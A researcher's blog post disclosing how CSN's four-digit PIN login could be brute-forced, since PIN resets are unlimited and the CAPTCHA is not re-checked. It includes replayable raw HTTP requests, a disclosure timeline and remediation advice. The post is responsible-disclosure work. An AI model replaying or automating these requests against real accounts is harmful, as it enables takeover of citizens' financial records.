BLOG POSTS
Brute-Forcing Borrowers' PINs at the Swedish Board of Student Finance (CSN)
By Laban Sköllermark (@LabanSkoller)
The Swedish Board of Student Finance CSN is the government agency that manages Swedish student finance, i.e. grants and loans for studies. They also manage driving licence loans and home equipment loans. (Source)
This is the story of when I found two security vulnerabilities in their login functionality and reported it to them.
Timeline
Date | Event |
---|---|
2020-AUG-04 | Problems found |
2020-AUG-05 | Discussions with CSN how to report |
2020-AUG-06 | Vulnerability report sent to CSN |
2020-AUG-06 | Reception of report confirmed by CSN |
2020-AUG-07 | Asked specifically about permission to perform a proof-of-concept against myself (still no response) |
2020-SEP-24 | Email from the Information Security Officer at CSN thanking me for the report. They are working on mitigations for the two vulnerabilities. |
2020-SEP-25 | Asked again for permission to perform a proof-of-concept. I also asked if they think the mitigations will be finished before the planned publication the 4th of November. Still no response. |
2020-NOV-04 | 90 days have passed since CSN received the vulnerability report. The original plan was to publish this post this day but I procrastinated it... |
2020-NOV-14 | CSN start two days of My Pages maintenance over the weekend. The vulnerabilities seem to be unsolved. |
2020-NOV-22 | A preview of this blog post was sent to all people mentioned in it for review (including CSN) |
2020-NOV-23 | CSN take down the vulnerable page for maintenance right before the publication |
2020-NOV-23 | Publication of this post at 17:06 CET |
Catching My Attention
I’m member of a Swedish speaking Facebook group around IT security called Säkerhetsbubblan with 6800 members. One post by the group member Shadi Domat the 4th of August 2020 was regarding CSN’s use of a four-digit PIN as one way of logging in (link to the post for members of the group).
At the time I had worked almost three months as an IT security consultant at Defensify where I focus on performing security assessments of companies’ web applications. I was on vacation and decided to take a quick look at CSN’s PIN login functionality. Every user in their system has a four-digit PIN that is printed in various mails from them. It’s used to log in to one’s My Pages on the web and to use Interactive Voice Response (IVR) via phone. Being a former Swedish university student myself I have an account and also an active loan. It didn’t take long until I suspected a possibility to perform a brute-force attack on anybody’s account.
The Login by PIN Functionality
If you don’t want a detailed description of CSN’s login functionality, you can skip to the vulnerabilities.
The Log in to My pages page presents two PIN related options:
- Log in with personal code
- Order personal code
The login by PIN form looks as follows. One enters one’s personal identity number, which is like a social security number but public, as username.
If one enters the wrong PIN a warning is displayed saying the account will become locked after five attempts and one has to order a new PIN:
And after five incorrect attempts the error message looks like this:
So now the account is locked and all further PIN guesses will fail, but one can order a new PIN. Here is the form for that:
As you can see one enters one’s personal identity number and solves a numeric CAPTCHA. The next step pictured below is to choose the delivery method for the new PIN. There are one to three options available depending on what contact information CSN has stored. Delivery by snail mail is always possible, and delivery by text message (SMS) and/or email is available if CSN has one’s mobile phone number and email address respectively.
After selecting the delivery method a confirmation page is displayed. Here is the confirmation after selecing email as method:
So, that’s the whole PIN login flow. At this moment the first time I tried the whole flow, I immediately suspected that there was a way to use brute force to login to anybody’s account – there’s less than 10,000 possible PINs after all (some are blocklisted, like 1234). I got that feeling based on a mistake I had previously seen in a customer engagement at Defensify. If you don’t already suspect something they might have done wrong, please pause here and think for a minute.
The Vulnerabilities
One of the vulnerabilities is that it’s possible to guess PINs unlimited number of times. One has to reset the PIN (order a new one) after five attempts, but there seems to be no limit in the number of times that can be done. The fact that the PIN changes doesn’t affect the probability to guess the correct one. Given that the new PIN is assigned randomly and that one guesses randomly, the probability to guess the PIN right is p ≈ 5 / 10000 ≈ 0.05% for every new PIN. On average (to have at least a 50% chance) one needs to reset the PIN times and make in total 1386 * 5 = 6930 login attempts before finding the correct PIN.
One problem with performing that many login attempts and PIN resets is that it must be automated because almost nobody has the patience to do that manually. But a CAPTCHA must be solved every time one wants to reset the PIN. Or must it?
The other vulnerability is in the CAPTCHA requirement as that rhetorical question suggests. Step one described above is to fill in one’s personal identity number and to solve a CAPTCHA. The next and last step is to choose a delivery method for the PIN. Submitting that second form successfully generates a new PIN and sends it via the chosen media. The vulnerability lies in that the last step can be repeated any number of times without solving a new CAPTCHA. So an attacker just needs to solve one CAPTCHA per victim.
Here is the HTTP request that can be repeated indefinitely to generate new PINs:
POST /bas/ekund/personligKodAction.do HTTP/1.1
Host: tjanster.csn.se
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: https://tjanster.csn.se
Connection: close
Referer: https://tjanster.csn.se/bas/ekund/personligKodAction.do
Cookie: JSESSIONID=<REDACTED>; testcookie=true; WT_FPC=id=<REDACTED>:lv=<REDACTED>:ss=<REDACTED>; _ga=; _gid=GA<REDACTED>; valdgruppmenyCookie=personligt; _gat_UA-<REDACTED>=1; _gali=PersonligKodForm
Upgrade-Insecure-Requests: 1
send=E&metod%231*utskickssatt=Best%E4ll
HTTP response to the above request:
HTTP/1.1 302 Found
Date: Thu, 06 Aug 2020 12:16:34 GMT
Server: Apache
X-Powered-By: Servlet/3.0
Location: https://tjanster.csn.se/bas/ekund/personligKodAction.do?metod=redirect&forward=layout.gemensamma.texter&textId=tjanst.bestallapersonligKod.e-post
Content-Length: 0
Set-Cookie: ADRUM_BTa=R:55|g:<REDACTED>; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Set-Cookie: ADRUM_BTa=R:55|g:<REDACTED>|n:customer1_<REDACTED>; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Set-Cookie: SameSite=None; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>|e:<REDACTED>; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>|e:<REDACTED>|d:<REDACTED>; Expires=Thu, 06-Aug-20 12:17:04 GMT; Path=/; Secure
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html
Content-Language: sv-SE
The idea was to write a simple Python script to automate the above attack method as a proof of concept, but I thought sending thousands of requests to CSN’s servers could be considered an attack of their infrastructure and be illegal so I decided to ask for permission to attack myself first. CSN never responded to that request, however, so no script is developed.
Reporting The Vulnerabilities
It was quite hard to find the right way to contact CSN to report the vulnerabilities. The best way on their website was a form for general questions, but I decided to make an Internet search instead to speed up the process of reaching somebody in charge of security. I searched for site:csn.se and information security responsible (but in Swedish). I got a few hits in published PDF documents where I could find a name. I didn’t know if the person was still the responsible person so I checked their LinkedIn profile where they stated that they is the information security responsible at CSN. I decided to send an email to the address on the format firstname.lastname@csn.se and also to security@csn.se. I got a bounce message saying that the security email address did not exist.
I quickly got in touch with a person who wants to stay anonymous who agreed on a way of encrypted communications. Either the information security responsible was on vacation and that person had access to their mailbox or the responsible silently forwarded my initial email. After I sent my report the anonymous person quickly acknowledged the reception of it.
After that nobody communicated with me for a long time and I never got permission to build a proof of concept script to verify that my attack scenario would work. After one and a half month the information security responsible, who was the recipient of my initial email to CSN, reached out thanking me for the report and told me that CSN were working on mitigations. I again asked for permission to do a proof of concept but never got a reply.
Recommendations to CSN
The following recommendations were sent to CSN along with the vulnerability descriptions the 6th of August 2020. Some complement each other and some are needed together.
- Restrict how many times or how often a new PIN code can be ordered. It seems unlikely that a user would need to order a new PIN more than once per day.
- Make it mandatory to solve a new CAPTCHA every time a new PIN code is ordered so that it becomes harder to automate attacks
- Investigate logs to see if others have found the same vulnerabilities and used them to login to anybody’s account. If so, inform affected users.
- Discuss with the DPO (Data Protection Officer) of CSN whether an incident report to the Swedish Data Protection Authority Datainspektionen is needed
- Define alerts in the monitoring systems to detect intrusion attempts like the ones described above
- Check whether an attacker can request hundreds or thousands of physical letters with new PIN codes sent to a victim - either as a joke or just to waste CSN’s money
- Add a possibility for users to disable login via PIN
- Automatically disable PIN logins when a user logs in via the electronic citizen solution BankID the next time (creds to group member Magnus Danielson for that suggestion)
- Publish a Vulnerability Disclosure Policy on www.csn.se to inform visitors how to get in touch with the right people in case of suspected security problems
- Publish a security.txt file on www.csn.se and tjanster.csn.se
Changes Made Since The Report
Friday the 13th of November 2020, while working on this blog post, I noticed that CSN had done some changes to the login by PIN functionality. They have moved the solving of the CAPTCHA to step two, which I suspect is done in response to my findings. That is not an improvement security wise however since it’s still possible to repeat the second request (including the solution to the CAPTCHA) many times. I successfully generated 20 emails with new PINs to myself within one minute.
The new flow for ordering a new PIN follows.
Step 1:
Step 2:
Here is the new HTTP request that can be repeated indefinitely to generate new PINs:
POST /bas/ekund/personligKodAction.do HTTP/1.1
Host: tjanster.csn.se
Connection: close
Content-Length: 78
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://tjanster.csn.se
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://tjanster.csn.se/bas/ekund/personligKodAction.do
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=<REDACTED>; testcookie=true; _ga=GA<REDACTED>; _gid=GA<REDACTED>; valdgruppmenyCookie=personligt; WT_FPC=id=<REDACTED>:lv=<REDACTED>:ss=<REDACTED>
send=E&metod%231*robotsparr=&inmatadCaptcha=13635&metod%231*utskicksSatt=Order
HTTP response to the above request:
HTTP/1.1 302 Found
Date: Sun, 15 Nov 2020 22:21:17 GMT
Server: Apache
X-Powered-By: Servlet/3.0
Location: https://tjanster.csn.se/bas/ekund/personligKodAction.do?metod=redirect&forward=layout.gemensamma.texter&textId=tjanst.bestallapersonligKod.e-post
Content-Length: 0
Set-Cookie: ADRUM_BTa=R:55|g:<REDACTED; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Set-Cookie: ADRUM_BTa=R:55|g:<REDACTED>|n:customer1_<REDACTED>; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Set-Cookie: SameSite=None; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>|e:<REDACTED>; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Set-Cookie: ADRUM_BT1=R:55|i:<REDACTED>|e:<REDACTED>|d:<REDACTED>; Expires=Sun, 15-Nov-20 22:21:47 GMT; Path=/; Secure
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html
Content-Language: sv-SE
Panic Shutdown
On the same day as, but prior to, the publication of this post CSN decide to take down the vulnerable order personal code page for maintenance. Either they took the decision entirely on their own after I notified them about my planned time for publication or the fact that I contacted the Swedish CERT during the day influenced their decision.
Conclusions
I recommend organizations to publish a security.txt file with a communication channel for vulnerability reports, accompanied with a vulnerabilty disclosure policy (VDP), and to cooperate with security researchers reporting vulnerabilities to avoid misunderstandings, confirm the vulnerability and let the researcher verify possible solutions.
Software Used
- Mozilla Firefox 79.0 (64-bit)
- Burp Suite Professional v2020.7
- Translations to English with Burp’s built-in Chromium 84.0.4147.89 (Official Build) (64-bit)
Comments?
Do you have questions, comments or corrections? Please interact with the tweet or LinkedIn post or make a pull request.
Credit
- Shadi Domat for bringing my attention to security questions around CSN’s login by PIN functionality
- Magnus Danielson for the suggestion to disable PIN logins when logging in with BankID, which I forwarded to CSN, and reviewing
- Calle Svensson and Alexander Kjäll for help with maths (the probabilities) and reviewing
- latex2png.com for rendering the formula
- Linus Kvarnhammar for reviewing
Follow-Up: Another CAPTCHA Problem Hidden In Plain Sight
See my next post CSN Follow-Up: Another CAPTCHA Problem Hidden In Plain Sight.